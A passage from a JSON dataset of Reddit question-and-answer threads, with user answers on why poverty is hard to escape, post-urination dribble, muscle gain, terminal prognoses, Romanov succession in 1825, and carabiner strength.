fucked.\n\nnot to mention you probably accumulated debt with people, so any money you get is gone, whether its your neighborhood crack attack or your previous landlord, your credit is likely shit. \n\nthese are just a few examples. im sure you can take them and get creative.", "Ohhh let me explain.  I am as broke as you can possibly get.  Now heres my situation.  I am willing to work.  Up until a few weeks ago i was working every single night.  I kid you not.  EVERY night,  yet because companies dont want to hire full time employees anymore i never get more than say 30ish hours.  (They dont want to pay benefits)  sadly now the company i work for was understaffed and have recently hired more people which cut my hours to less than 20.  I would love to get a better job but i can only work when i can find a sitter.   I dont qualify for help with child care because i have to be working full time for 3 months before i can apply.  I cant work full time without help with child care.   Daycares are several hundred a week for one child.  I have three.  I simply cant afford it.  Now you mentioned getting out of the ghetto.  When i left my ex i had to move  into government housing which bases your rent on your income.  They take 1/3 of your income for rent leaving you with 2/3 for bills (i do pay utilities) and taking care of the kids.  On minimum wage thats not much.  When my son qualified for ssi i was hoping the extra money would enable us to move out.  The money would have covered almost all the rent on a real apartment.  But almost immediately housing raised my rent to take 1/3 of the new income and i watched as my food stamps dropped by more then half and i got booted off health care for making \" too much\"  meanwhile with housing taking their portion and the foodstamps dropping i actually have less to spend.  So even with the extra income im not really getting ahead.  Meanwhile since my rent is the same unless i have an evaluation i cant afford to miss work.  At all.  Ive worked with kidney stones ive worked with pneumonia.  I might have a serious eye infection right now and idk if and when i can see a doctor.  Now the real kicker to this is despite working and paying a higher rent i still have to perform community service because i live in housing.  2 hours a week i have to go and pick up trash for no other reason than im poor.  I didnt commit any crime, i have no criminal record whatsoever yet i am treated the same as one.  Now i tell you all this to explain the next part.  If i were to quot my job right now my rent would drop, my food stamps would go up and id be eligible for health care again.  Id be basically alittle less broke then i am now the only difference would be i wouldnt have to find a sitter for my kids every night.  I wouldnt miss holidays and school functions.    That is why people give up and live off benefits.  Because sometimes the rules just dont make sense.  Ohhh and as for the kids father, he hasnt had a job in years, and since the court ordered him to pay x amount of child support i have to pay 1/3 of that to housing as well, even if he doesnt pay for months.  I just have to pay it out of my paycheck.     I know i talk to much but hope that helps your question.", "Long time lurker, first time poster. \n\nIn my life I've gone from flat broke to reasonably well off several times (luckily on the up-side of the cycle these days). \n\nSome of the factors which keep people stuck in the hole are - \n\n1)  When you are flat broke, a tiny amount of money is a fortune. If you only have 30 dollars a week after rent and bills, then 10 dollars is a massive amount of money.  Even a minimum wage Mcjob requires transport costs and a presentable appearance. If you have no captial then even having to pay bus fares, or invest in a pair of dress shoes, can make getting on the employment ladder impossible. \n\n2)  Money fixes problems.  What might seem a minor hitch to you that can be fixed with an insignificant amount of money can be a major disaster when you are on the poverty line.  Either problems get ignored - leading to them escalating - or tiny budgets are blown out the water.\n \nFor example, when I was broke, I had to walk everywhere because I couldn't afford bus fare.  Soon my shoes wore out, and I couldn't buy new ones.  Soon my feet were a mess of bloody, infected blisters, which wasn't exactly conductive for social climbing. \n\n2)  Being broke is fucking depressing.  If you are not sure how you are going to pay your rent, or how you are going to eat tonight, these things become overriding obsessions.  It is impossible to make long term plans when you don't know where you will be living or what you will be eating next week.\n  \nAlso, the constant grinding stress and depression of poverty robs you of personal qualities such as motivation, patience and charm - the very qualities that are needed to get ahead in life. \n\n4)  Substance abuse is mighty appealing.  If you live a healthy and happy life, you might want a couple of beers at a party to make you more sociable.  If you are living on the edge, you want to get literally out of your mind so that you can have a brief vacation from how shit your life is.  Living on the poverty line can be unremittingly awful, making altered states of consciousness very tempting.\n\n5)  It seems normal.  If you grew up rich, \"ghettos\" seem strange and frightening alien places.  This works both ways.  If you grow up surrounded by poverty and disfunction, a comfortable middle class life seems like a different and unknown world.  It can be very hard to adjust to a white-collar lifestyle if you grew up on the wrong side of the tracks.  \n\nSorry for the wall of text.\n\nTLDR; poverty is one massive vicious circle.  If you have $1000, the world is your oyster.  If you have $10, you're fucked. ", "LOL at most of the responses here.\n\nI've been poor. Like, homeless, \"lived on a jar of peanut butter for a week\" poor. I've got my own business now, though I'm not exactly wealthy, but things are better.\n\n* Everybody hates poor people. Sounds stupid, but anybody that's been poor for a while knows what I mean:\n\n1. Local police tend to pull over cars with broken taillights, missing windows, unlatched hoods, anything that says, \"I'm poor and can't afford a ticket.\" Because you're poor, it's extremely difficult to pay for car insurance, car registration, and car maintenance, and if you don't pay all of those, then eventually you get a ticket for one of them and the costs pile up *fast*. Eventually you end up in court, along with a room full of other people, the judge asks you how much you can afford to pay each month, you make up an embarrassingly low number that you know you still can't afford, the court charges you an \"administrative fee\" for putting you on a payment plan, and so on. While you were in court trying to get your $530 \"no insurance\" fine worked out, you missed work, which means this week's paycheck will be short, which makes it harder to pay the amount you need to pay.\n\n2. It's extremely difficult to rent a decent place -- and by \"decent\", I mean, \"clean and the neighbors aren't strung out on hard drugs\" -- if you're poor. First + last + deposit. Landlord will find any excuse to keep your deposit when you move out. They will do a credit check. They expect you to have proof of income more than three times the rent amount. Had a look at what even a modest apartment goes for these days? Now compare that to minimum wage. When you move out, don't expect a letter of reference, even though the next landlord will ask for one from your previous landlord, just like the current one did.\n\n3. Most financial things are rigged against poor people. If you're not poor, you get to take advantage of things like buying in bulk, paying monthly expenses up front at a discount, making higher monthly payments on your credit card bills to keep the interest down, and so on. If you're poor, you don't get to do that. Most of your monthly income is immediately spent on essentials; saving, let alone spending extra this month to save money the following month, is extremely difficult.\n\n4. Poor people tend to have poor friends. Although, in my experience, poor people tend to try to help eachother out, they also steal from eachother, leave messes for eachother, and get eachother in trouble.\n\n* You generally don't get to be healthy while poor.\n\n1. Odds are, you're not getting enough good nutrition. The unfortunate fact is that junk food is cheaper than good food. It's possible to make up the difference a little bit by doing a lot of cooking, but keep in mind that, to make ends meet, you're working 2 or 2 and a half jobs, so the last thing you want to do when you get home is start cooking and then do all the cleanup afterwards.\n\n2. Because you're not getting good nutrition and you're not getting good exercise, you're also not sleeping well, which also makes you lethargic, which makes it difficult to focus at work for extended periods of time, which hurts your job performance, which affects your pay.\n\n3. That beater car and an income that's never quite enough and the bills that always seem to arrive in an endless stream all add up to a lot of stress. Some people handle that OK, many don't. Stress, poor sleep, and poor nutrition is not a good recipe. This also contributes to psychological problems. If you're not poor, you might drive past a poor community and wonder why they don't all just chip in for some paint and help eachother fix things. What you don't realize is that they've all accepted poverty as a way of life, they're all too beat down and exhausted to do anything else.\n\n* You're always one misfortune away from disaster.\n\n1. Misfortunes happen. I'd bet a lot of folks have trouble remembering their most recent little misfortune. Poor people have no trouble remembering, because for them, that little misfortune was the last thing they needed (again). For example: tonight, someone next to me dropped something and I lunged to grab it before it hit the floor, and my slacks ripped right in the crotch. (I'm not fat, I've just worn the same slacks daily for two years -- old habits die hard.) I'm not poor, so I made a joke about, got in the car, drove to the department store, bought a new pair for $40, and done. If I were poor? $40 is a lot of money. I spent over a year struggling to make it to my next paycheck with $20 in my wallet. There was a time that I simply could not have afforded a new pair of pants.\n\n2. Because you can't gracefully handle little misfortunes, they tend to snowball into bigger problems. For example: you get off work and walk to your car and see that some asshole backed into your car, breaking your taillight. You can't afford to replace it. Two days later, you're pulled over for it, but the officer lets you off with a warning. A week later, you still can't deal with it, but this time the officer writes you a fix-it ticket. You start to object but he smiles and says, hey, look, just get it fixed, and go to court, and then the ticket is only $10.\n\n* You make bad decisions.\n\n1. \"Aha,\" says the reader, \"at last we're getting to the truth of the matter!\" Your car gets totaled in the snow. Fortunately, you're not at fault and, somehow, you were current on your vehicle insurance at the time. The insurance adjuster comes out and gives you a break and amazingly you get a check for $2,000 a few days later for your piece of crap car. So ... what do you do? If you said, \"get a better car\", you're wrong! What you do instead is you reason out that the beater will last another year, you'll use the $2,000 to pay a credit card bill and take care of some other old thing and, if there's anything left over, maybe treat yourself to something nice too. Except, the beater didn't handle the wreck very well, it starts to actually fall apart, and on top of that, now it's a *huge* red flag for local law enforcement.\n\n2. You want nice things too. No candy, no soda, never a movie, no video games, no entertainment, no nice clothes, no pets, no current electronics, keep the heater down to 60 degrees F, go to bed early (to save money on the electric bill): this is all standard advice that not-poor people give to poor people. If only poor people would do these things, their life would get better! But living like this *blows*. It sounds like a first-world problem, but try it sometime. Just for a month, just to get a taste of it. It totally sucks. It wears you down. It makes you hate your life, it makes you hate your situation, it makes you hate yourself. I once saved up for a while just to afford a 99-cent cheeseburger, and that shitty cheeseburger still to this day was one of the best damn things I've ever tasted. I even forgot to ask for no onions, and it was still great.\n\n3. Because your life sucks all the time, you are vulnerable to anything that looks like a cheap, easy way out of it, even temporarily. Like alcohol. Or drugs. If you get caught up in any of that, eventually you'll end up being one of the \"bad\" poor people, who steals to pay for their habit, and then you can find yourself in jail or worse.\n\n--\n\nOne of the biggest problems facing poor people, though, is society's attitude towards them. I know you don't mean it this way, but because you've never experienced it, it's impossible for you to fully comprehend, empathize with, or understand the problems facing poor people -- which means that you can't do much for them. You can't even argue effectively on their behalf.\n\nAmerican culture is especially horrible this way. There's this pervasive \"cowboy up\", pull-yourself-up-from-your-bootstraps thinking at work, where welfare recipients are all terrible people who are draining resources on society, and everything would be better if they'd just go away. And *that* thinking directly contributes to the problems of poverty.\n\nYeah, I got out of it. I worked really damn hard, and I tried to help a few other people out along the way.\n\nBut I had some help too, and I also got a little bit lucky. I've been lucky to never be seriously ill or seriously injured, I've been lucky to have been in a wicked car crash (fortunately, didn't hit or injure anyone else) where I wasn't badly hurt, I've been lucky to have had only a couple of bikes stolen from me and my car broken into only once, I've been lucky that my home hasn't burned down. I was also lucky to have been slightly above average intelligence, with a handful of useful skills, no really bad vices, and a physiology that let me survive countless all-nighters and really serious overtime shifts in my 20s.\n\nAny of those could've gone against me, and I'd still be poor.\n\nThere will continue to be poor people so long as there are other people who think they just need to \"apply\" themselves.", "/r/AskSocialScience would be able to give you comprehensive and well researched answers.\n\nI suspect the answer is far more complex then what is being suggested here. ", "These are all good answers, but I think the need for a little luck can't be overstated.\n\nFor example: I was born in a London orphanage to an unwed teenage mother who was out the door before the ink was dry on the paperwork relinquishing her parental rights. An inauspicious beginning, to be sure, and if you had to guess at that point you'd have probably been safe in assuming that I'd be poor my whole life. But that's where luck comes in.\n\nMy adoptive father was an enlisted US serviceman stationed in England during Vietnam, and he and my adoptive mother decided to expand their family (I have two adoptive sisters as well, who are their natural children). My dad retired from the Navy in 1973 and became a mailman in Silicon Valley (before it was SV, obviously). So not only did I get this HUGE lucky break early on (being adopted by Americans), I almost immediately got a second lucky break by growing up (albeit lower middle class) in the place where computers were born.\n\nHow lucky was it? Well, I'm pretty wealthy today by most rational measures (thanks to a career trading equities and commodities), but my wealth is nothing compared to some of the kids I grew up with. One of my pals from high school bought an NBA team with his Facebook money.\n\nMy point in all this is that luck is a sort of universal equalizer. There's no shortage of hard luck stories coming out of the ghetto of kids who grew up with nothing and became millionaires. Hard work and dedication are the factors you can control, but in most cases (my own included) luck plays a HUGE role - often moreso than education, motivation, and hustle combined.", "One reason that I didn't see specifically mentioned is comfort. I live in a building that 50% project housing and the amount of fiscally responsible people there are few and far between. I know these people aren't homeless poor but assisted living and food stamps is poor enough for this discussion. I see a lot of bad decision making that could be avoided by a lot of these people.\n\n*saving money - it's something that isn't done as a culture, spend it as fast as it comes in. Get a little money back from income tax? that's a vacation or a new TV\n\n*conforming to culture - If you're in city housing and can't afford to take care of yourself so you're also on food stamps you don't need new iPhones for everyone in the house with matching beats headphones. \n\n*fake needs - I see way too many huge TV boxes out on the curb. TV with cable is not a need. If you don't make enough to pay the bills regularly don't buy a big TV and don't get cable or netflix. Go get a library card and read all the books you want for free and save that money.\n\n*intenional lack of oppertunity - There are truck on the street trying to get people into low cost healthcare, work programs, and workshops to develop skills. These trucks are empty as I hear kids say in the elevators that these people are stupid for trying to help them, they don't need help.\n\nMy thoughts on it: if you want to get out of being poor the only way around it is to live more poorly and save a little bit at a time, which sucks and is no fun what so ever. People don't want to admit how bad it really is but they should as it gives you freedom. Save money and change your situation slowly.", "I'll give it a shot.\n\nThe closest analogy I can give is digging a hole in sand; it doesn't matter how much you dig, sand always falls back in the hole.\n\n\"Getting a job\" is infinitely more complicated than it sounds. It's a depressing, soul-crushing, degrading, and inhuman process and it only gets worse the lower down you go on the ladder. I have received some of the worst verbal treatment I have ever received at the hands of another human being while looking for a job. You are a number, you are not a person, and you are treated as such because you're entirely replaceable. The sad part is that even getting to that part is extremely difficult. Many companies and big businesses now use automated systems that scan resumes and large questionnaires that you must take in order to apply (and you can *only* do so online) to look for a specific set of criteria that is impossible for you to determine. You have to make it through a computer's automated selection process before a person even sees your application and you receive no notice if your application is rejected.\n\nNow if you are lucky enough to actually get to a person, you get to compete with sometimes hundreds of other people who are ever so slightly different from you and just as desperate. You won't work for starvation wages? Fine, fuck you, there are fifty people behind you who will. \n\nThe people who cut the checks want to pay as little as possible and desperate people are notoriously willing to accept even an insulting pay level because the alternative is far worse and the people writing the checks know that.\n***\nWhen you're poor, money itself takes on a new dimension. $5 may seem like chump change when you're doing well but I can eat for a week on $5 so if something comes along, say an unexpected bank charge or a late fee or other small expense, you're down a big part of your budget. It also means saving is next to impossible because every time you get a savings going something comes along and wipes it out. \n\nAs has been alluded to, there is often a \"tax\" on being poor in the form of hidden costs. For example; you get a bad cut on your arm and wrap it up as best you can but it starts hurting more than it should for longer than it should. You could go to the doctors but that will cost you (if you're lucky, you have insurance, if not, Medicare *may* help you somewhat) but even if your out-of-pocket is low, it's still a lot for you so you cant afford it without jeopardizing something like electricity or rent or gas. That means no doctors...except in two weeks when the pain has become unbearable and the wound is clearly infected, you now *have* to go to the Emergency Room or risk death by septicemia (which, incidentally, costs American taxpayers [billions](_URL_0_) of dollars per year for this very reason). That's a bill of probably $1,000 or more and you have no way of paying that, even a monthly payment plan is out of the question (even if you can, the interest will stack up fast and you'll end up paying double or more).\n\nHealthcare is one of the biggest \"fuck you's\" to poor people we have in the US second maybe only to the \"justice\" system.\n***\nIt's been mentioned before and I'm going to mention it again because it's one of the least understood parts about being poor and one of the quickest things you forget once you stop being poor; stress.\n\nIt is now an integral part of your life, as close to you as any spouse or child. Will I be paid on time? Will I get hurt? Will the cost of food go up? Will something break? Will I lose my job? And on and on and *on* it goes. You are in a constant state of survival-mode, worrying about the next potential crisis or setback you didn't anticipate putting you well and truly on the street and once you're out on the street coming back is a very slim chance.\n\nThis kind of stress makes people crazy and it makes them do things that don't seem rational unless you've been in that situation before. Drugs, bad money habits, gangs, get-rich-quick schemes, and so on all become part of your world because you aren't in the mindset of thinking five, ten, or fifteen years down the road. You're worrying about rent tomorrow and dodging your debt collectors today, fuck five years from now.\n\nOn top of that, crime starts looking *really* appealing. Before I was dirt poor, I would never once have considered stealing. Now...I can't honestly say I wouldn't give it serious consideration to smash a store window and grab some valuables if I was reasonably sure I could get away with it. Selling drugs? Yeah I've definitely given it some thought. When you're in a constant state of worry about your security, even bad ideas start looking good because it might buy you even an inch of breathing room you didn't have before.\n\nYou don't *want* to fuck other people over but when your daily life starts looking like a survival situation, your priorities change and other people start falling into that \"me or them\" calculation. Seriously, the overwhelming majority of people doing illegal things to make money don't actually want to be doing those things; they're generally dangerous and carry the risk of a very long prison stretch.\n***\nThe worst part to deal with, in my opinion, is other people.\n\nPoor people are cockroaches as far as most of your fellow human beings are concerned. Your value as a person is less in their eyes and that's even if they consider you a human being. This may sound melodramatic but I've had too many people tell me that I should basically become an indentured servant rather than \"drain the system\" by accepting social assistance. \n\n*Nothing* you do is ever right; if you get a job and you're still poor then you're shitty at managing money, if you can't find a job then you're lazy, if you eat poorly because you can't afford good food then you're a pig, if you accept foodstamps and eat decent food then you're a mooch, if you buy *anything* that someone else doesn't deem absolutely essential to your continued existence on this earth then you're stupid and not really poor. The list goes on and on.\n\nThis puts you at odds with other people because they're constantly hammering on this \"poor = bad\" nail and add that frustration with the daily struggle sometimes of just putting food on the table and personally I think it's a wonder we don't have more spree killers. Browse around on reddit, you'll find plenty of people who seem to think that you're only poor if you *choose* to be.\n\nPeople also fuck over poor people like you wouldn't believe. Who better to scam or rob than a poor person? A cop doesn't give a fuck and the courts don't either if a poor person has their savings of $100 cash stolen while living in a crappy neighborhood. You effectively don't count and can expect to be treated as such by law enforcement and the \"justice\" system.\n\nThe situation is even worse for minorities. Suddenly your race becomes an explanation for your poverty and you become a reinforcement of stereotypes without meaning to. Your chances of getting a job is lower, your chances of a bad run-in with law enforcement are higher, and you can expect discrimination at a higher rate in the workplace if you do manage a job.\n***\nBeing poor world-class sucks. Is it better than mud pies in Haiti? Most of the time, hell yes. But that doesn't change the fact that it's still really fucking hard.\n\nEDIT: Holy crap, I didn't think I wrote that much."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://playspent.org/"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://hcup-us.ahrq.gov/reports/statbriefs/sb160.jsp"]]}
{"q_id": "2eaqgw", "title": "whenever i pee, i shake out all the last drops but then when i put my lemurs back in my pants, more drops come out.", "selftext": "It's as if the last few drops of pee are hiding and waiting to come out right when I put my penis away. Why can't all the drops come out before I button up my pants?\n\n\nEdit: thank you autocorrect for \"lemurs\" and thank you brain for not catching it", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2eaqgw/eli5_whenever_i_pee_i_shake_out_all_the_last/", "answers": {"a_id": ["cjxnn83", "cjxo67n", "cjxp5bv", "cjxpfui", "cjxpmb9", "cjxq5et", "cjxtml4", "cjxy6to", "cjy2iod"], "score": [21, 2, 2, 19, 3, 2, 11, 7, 2], "text": ["You've got a bend in your hose that's blocking everything from coming out via gravity. Push up on your taint (skin between balls and butthole) to clear your line.", "LifeProTip: Press gently on your taint and the last few drops should come right out.", "Just push on the taint", "why are you putting me and my friends in your pants?", "press your taint after peeing. then do kegels to strengthen your pelvic floor.", "Look, you can get all weird and push in you taint like some have suggested, or you can follow my sound advice and just shake it violently, preferably under a hand dryer if you are in public.  ", "Is lemurs a new euphemism or the best autocorrect ever. I need to know OP.", "You have to trick your penis. Let go, so it hangs down, then make \"ZEEEP! ZEEEP!\" zipper noises until a few more drops come out. It thinks it's inside your pants already. Now use a fine paper doily to dab up the moisture at the end of your dainty ding-dong, and skip along on your merry way.", "welcome to 40.\n\nit doesn't get any better.  wait 'til your sphincter loses its elasticity.  it'll be like after a yard gets raked and one of those trash bags full of leaves didn't get tied off.  every little breeze...  Pretty much the reason really old people have plastic slipcovers over all the chairs and couches."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "14xe2r", "title": "how to work out properly?", "selftext": "I used to work out with my girlfriend for months and just didn't gain any muscle or anything. I'm starting to hear that you have to eat certain foods like protein to actually gain muscle properly. Just really would like any tips that one could give that would help with gaining muscle and working out properly.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14xe2r/eli5_how_to_work_out_properly/", "answers": {"a_id": ["c7hacd0"], "score": [10], "text": ["/r/fitness has a really great [getting started] (_URL_0_) post that will answer most of the basic questions. Most of gaining or loses in weight involves diet. They say 80% is diet, and 20% actually working out. Best of luck on your new health choices. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/help/faqs/Fitness#GettingStarted"]]}
{"q_id": "akorhw", "title": "do doctors really give their patients x months to live?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/akorhw/eli5do_doctors_really_give_their_patients_x/", "answers": {"a_id": ["ef6j2h3", "ef6jb9a", "ef6jty2", "ef6ql3n", "ef765x5"], "score": [32, 8, 5, 2, 2], "text": ["The second. Pretty much we can say that given the condition you're in, you're likely to live X years/months/weeks etc. Now, this is changing all the time as medicine improves, so that will throw some of it off.\n\nThe big reason some people are still around much longer is simply because those stats thrown out are averages and means. Which means that some people are going to die much sooner and some much *much* later.", "There are statistics which say how long patients live after being diagnosed with certain conditions. And the doctor will often tell the patient these numbers. However there is a lot of issues with these statistics and the doctor should explain all this to the patient. For example some diseases is mostly diagnosed in elderly or weak patients so they tend to not live long while the same disease can easily be cured in a healthy patient. The statistic may not account for such things. There is also a lot of variation among people so you have to take the average lifespan with a big grain of salt. Often the doctor will give the statistic as a chance to be alive after certain time frames. For example instead of giving a patient 6 months to live they may say that they have an 84% chance of surviving the next two months, 52% chance of surviving the next 6 months, 37% chance of surviving the next year, etc.", "The short phrase works really nicely in tv and movies. In reality, mortality rates, chances of making it to different milestones, with and without treatment are discussed in more depth. ", "In the NHS, its fairly consistent to talk about \"survival rate after 5 years\", partly because that's how most of the research studies express it for the studied populations.\n\n & #x200B;", "They usually give generalizations like \"at stage 4 people tend to have X months left to live, you should prepare for the same\". My childhood friend was just barely ill for a month and finally went to the ER for a minor cough that was annoying him. No shortness of breath of fluid coming up, just a nagging cough.\n\n & #x200B;\n\nIt was stage 4 lung cancer that had already spread to other organs, he came back the next week for a 2nd check up and they gave him 2 months to live. He died the next weekend. He wasn't smoker of any sort and they have no idea how he caught it, but they said he must've had it for over a year (it was extremely aggressive) and they're surprised he didn't have bigger symptoms.\n\n & #x200B;\n\nMy aunt just got diagnosed with lung cancer (from smoking for sure with her) and she's only at stage 1 and has been there for almost a year they estimated, they gave her a couple of years to live if she didn't seek treatment. Luckily she's early enough to get started on treatments and has a decent chance of living and being cured eventually.\n\n & #x200B;\n\nAlso just had an online friend get diagnosed with a weird blood cancer (sort of common actually) that most people live for 15-20 years after diagnosis and since she's so young and (otherwise) healthy she should expect a full 20 more years if no complications or other illnesses arise. There's no real treatment for hers, no cure, just life extending treatments to prolong your life.\n\n & #x200B;\n\nThey do typically give X months-years with standard diagnoses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ckex40", "title": "Why was Alexander I of Russia succeeded not by his brother Constantine, but his other brother Nicholas I?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ckex40/why_was_alexander_i_of_russia_succeeded_not_by/", "answers": {"a_id": ["evoqyrx"], "score": [7], "text": ["The succession laws of the Romanov dynasty (appropriately called Romanov House Law), changed several times during their 304-year (1613-1917) rule over \"all the Russias.\" I'll just enumerate those changes quickly to give you the big picture:\n\n* *Primogeniture (1613-1722)*: this is your standard issue \"eldest son inherits\" rule which was a holdover from the Rurik dynasty. Feodor I (the son of Ivan the Terrible) died childless and thus brought to an end the Rurik dynasty. This resulted in more than a decade of power struggle called the Time of Troubles (\u0421\u043c\u0443\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f, pronounced *smutnoe vremya; lit.* troubled time) whereby various Russian nobles with various levels of claim to the throne attempted to seize power for themselves and their families. The maneuverings here are a little outside the scope of your question, but all you really need to understand is that ultimately Mikhail Fyodorovich Romanov came to power in 1613 thus beginning the rule of the Romanov dynasty.\n* *Ruler-elected (1722-1797)*: Pyotor I (the Great) is remembered for a number of reforms, some of these were well-received, others were not (they included a tax on those nobles who wished to wear a beard for example). In 1722, 40 years into his 43-year rule, he proclaimed the Law of Succession (\u0423\u043a\u0430\u0437 \u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0438 \u043f\u0440\u0435\u0441\u0442\u043e\u043b\u0430, pronounced *ukaz o nasledi prestyula; lit.* Decree Concerning the Succession of the Throne) which granted the monarch (him, in this case) the power to choose his own successor. Besides being an absolute monarch who could do as he pleased, Pyotor argued that the Romanovs had never actually officially embraced the primogeniture laws of the Ruriks and just *de facto* observed them. Peter himself began his rule as a \"co-monarch\" (a diarch, if you will) with his older half-brother Ivan V, which is a pretty tenuous situation for a dynastic empire to be in (Salic patrimony succession, to which this was similar, severely weakened the Merovingians in Francia, for example), and Pyotor himself was the younger of the two co-monarchs so his claim was far weaker in the eyes of many.\n* *Return to primogeniture (1797-1917)*: Pavel I ruled for 5 years (1796-1801) before being murdered by a group of Russian nobles in favor of his son Alexandr I. One of the first things he did was to institute the Pauline Laws concerning succession which reversed Pyotor I's changes to the laws of succession. Pavel had two sons, whom his mother (Yekaterina II the Great) had begun grooming for rule (over Pavel) while she was still ruling and her son was the heir apparent. Thankfully for Pavel, before Yekaterina II was able to officially name one of them her heir, she suffered a stroke which proved to be fatal and Pavel I acceded to the throne.\n\nI only mentioned all of this because it shows that the Romanovs (like many royal families) kind of played it fast and loose with their inheritance laws, so situations like the one which occurred between Konstantin and Nikolai were not totally unheard of.\n\nAnyway, when Alexandr I died with no sons, primogeniture dictated that the heir presumptive Konstantin was the first in line for the throne and Nikolai was second in line. Thus, when Konstantin publicly refused the throne in 1825 (he had done so privately in 1823 *in writing* no less) Nikolai became the new emperor. That's the short answer.\n\nMaybe the more interesting question is *why* did Konstantin refuse the throne?\n\nThe reason that he abdicated-- at least, according to him-- was because of his morganatic marriage (or, marriage between socially \"unequal\" peoples) to a Polish countess Joanna Grudzi\u0144ska in 1820, a station far below that of heir presumptive to one of the most ostentatious monarchies in the world. Konstantin was a man of war who reveled in his uncouth lifestyle and the position of monarch would require a severe tempering of his behavior-- a sentiment he expressed several times. The number of people who were aware of this secret abdication is a matter of historical debate. It used to be generally agreed upon that only three or four individuals (including the recently deceased Alexandr I) knew of the abdication but sources have appeared indicating that several additional members likely knew as well. Further, Alexandr I included the abdication in his manifesto (similar to a will) in 1823 which *ought* to have been read upon his death, but was not.\n\nThat brings up the question, \"why?\" once again. As the Decemberist Revolt, which occurred immediately upon Nikolai I's assumption of the throne, proclaimed their loyalty to Konstantin Pavlovich-- it's safe to say that there were those in the halls of Russian power who wished to see that the man they perceived more suited to power, indeed came to power. The Decemberists (which was a name applied to them based on the month of their revolt, not one they chose) also favored implementing the so-called Decemberist Constitution-- which extended a number of civil rights to the people that were utterly non-existent in Russia at the time (Russia had no Constitution until 1906).\n\nDespite this attested and documented \"secret abdication,\" Konstantin Pavlovich was announced as the successor to Alexandr I in 1825. At the time he was in Warsaw where he was ruling as the Governor of the Kingdom of Poland. Upon hearing news of his unwanted succession from Alexandr's former aid Nikolai Novosiltsev and being asked, \"what is the first command of your royal highness?\" Konstantin is purported to have replied, \"I ask that you not refer to me by that applied *\\[in this case meaning forced\\]* title.\" (See pp. 164 of this 19th century [eponymously titled biography](_URL_0_) of him-- written in pre-standardized Russian, sorry) This further demonstrates that Konstantin Pavlovich himself chose not to rule and not that he was the victim of some kind of court intrigue or machinations by his younger brother Nikolai.\n\nThat same author goes on to describe Konstantin's refusal to even appear in Saint-Petersburg to officially renounce his throne (pp. 165-166) calling its unwanted passing to him an \"inconvenience,\" which is a pretty bizarre (though, understandable) way to describe inheriting rule over 1/6 of the planet. It also underlines that Konstantin himself was the one who decided to reject the throne and was not forced to do so, as some would have you believe.\n\nTo further support the claim that Konstantin's marriage to the aforementioned Joanna Grudzi\u0144ska was one of the primary reasons that he renounced the throne, one must remember that Konstantin's grandmother (Yekaterina II the Great) had arranged a marriage for him with Princess Juliane of Saxe-Coburg-Saalfeld-- the daughter of the lord of a small German ducal house. The marriage was an unmitigated disaster with Juliane (who took the baptismal name Anya Fyodorovna) beginning to request divorce almost immediately. Konstantin spoke about the marriage negatively as well saying, \"I never looked \\[at the marriage\\] as a gift. We are different souls.\" (pp. 166 of the aforementioned biography).\n\nUltimately Anya Fyodorovna \"feel ill\" and when her mother came to visit her, the two of them absconded back to Bavaria (not really absconded, both Konstantin and Alexandr I gave their permission) and Anya (going by her German name Juliane once more) was never to return to Russia again. No divorce was ever granted officially but as we all know, long distance is the wrong distance.\n\nSuffice to say, this entire episode left Konstantin with a distaste for the proprieties of court life further reinforcing his decision to marry for love, regardless of the class of his bride-to-be, further eschewing the expectations of a person who planned to become emperor of Russia some day."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.prlib.ru/en/node/389517"]]}
{"q_id": "ex07l8", "title": "how are carabiners so strong?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ex07l8/eli5_how_are_carabiners_so_strong/", "answers": {"a_id": ["fg5j72w", "fg5jnmp"], "score": [2, 5], "text": ["I'll preface this by saying that sleepy math is imperfect, but hopefully the idea is clear enough.\n\nHonestly they aren't all that strong. Like, in terms of things that size made of steel, they're quite weak. I mean, let's take a 100 pound max tension carabiner. It's got maybe four millimeter thick steel in a rough loop. That's two pieces of four millimeter thick steel. Together they should be able to bear more like 1,000 pounds. The trouble that they encounter is that they want to bend, since they're not in perfect tension. This bending causes the stress to be multiplied by a significant factor.", "Firstly you have tensile strength which is the force you have to apply to pull something apart. Carabiniers are made with steel and aluminum both of which are very strong metals. \n\nThe second aspect is the shape they are designed to put all the force along the spine (side that doesn\u2019t open) which is stronger than the gated side. \n\nSo they are made out of stuff that is hard to pull apart and they are designed to put all the force on the strongest part of the device."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
